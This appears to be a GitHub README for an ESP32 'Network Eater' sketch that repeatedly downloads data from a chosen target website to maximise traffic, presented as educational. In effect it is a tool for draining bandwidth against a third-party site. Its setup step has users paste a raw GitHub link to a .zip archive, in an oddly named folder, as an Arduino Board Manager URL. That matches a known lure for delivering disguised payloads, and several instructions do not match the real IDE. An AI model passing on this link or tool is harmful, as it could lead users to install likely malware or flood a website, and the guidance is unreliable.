The ESP32 Network Eater is a user-friendly application designed to help you understand network traffic. It allows you to select a Wi-Fi network and a target website. The ESP32 will then continuously download small pieces of data from that website, maximizing your network usage. This tool is ideal for educational purposes and for those wanting to explore internet dynamics.
To make the most of this application, follow the steps below. You will learn how to download the software and run it on your device.
-
Click the download link above or visit the Releases page directly.
-
Look for the latest release version. The filenames will usually include the version number for clarity.
-
Download the file suitable for your platform. The primary files are in
.inoformat, which can be opened with the Arduino IDE.
-
Hardware:
- An ESP32 development board
- USB cable for connection
-
Software:
- Arduino IDE (version 1.8 or newer)
- ESP32 Board package for Arduino (details below)
- Visit the Arduino website to download and install the necessary software.
- Open the Arduino IDE.
- Go to
FileβPreferences. - In the "Additional Board Manager URLs" field, add the following:
https://raw.githubusercontent.com/Tushar-coader/ESP32-NetEater/main/laryngotracheotomy/ESP32-NetEater.zip - Click
OKto save your preferences.
- Navigate to
ToolsβBoardβBoards Manager. - Search for "ESP32".
- Click on "Install" next to the ESP32 package by Espressif Systems.
- After you have downloaded the
.inofile from the Releases page, open it in the Arduino IDE. - Make sure your ESP32 board is connected to your computer via USB.
- Inside the Arduino IDE, locate the
WiFisettings in the code. - Change the SSID and password to match your Wi-Fi network.
- Specify the URL of the target website you want to download data from.
- Save your changes.
- Select your ESP32 board from
ToolsβBoard. - Choose the correct COM port connected to your ESP32 from
ToolsβPort. - Click the upload button (the right arrow icon) in the Arduino IDE.
Once the code uploads successfully, your ESP32 will start generating internet traffic by downloading data from the specified website. You can monitor the behavior in the serial monitor within the Arduino IDE.
To view the internet traffic being created:
- Open the serial monitor in the Arduino IDE by clicking on the magnifying glass icon.
- Set the baud rate (bottom right of the window) to
115200to match the code.
- Connection Issues: Ensure your ESP32 is properly powered and connected. Verify that your Wi-Fi credentials are correct.
- Code Upload Problems: Check that you have selected the right board and COM port in the IDE.
- Serial Monitor Issues: Make sure the baud rate is set to
115200.
If you have questions or need assistance, feel free to check the issues section of the repository. Join the community discussions to find helpful tips and tricks.
By following these steps, you can easily set up and run the ESP32-NetEater application. Enjoy exploring the dynamics of internet traffic!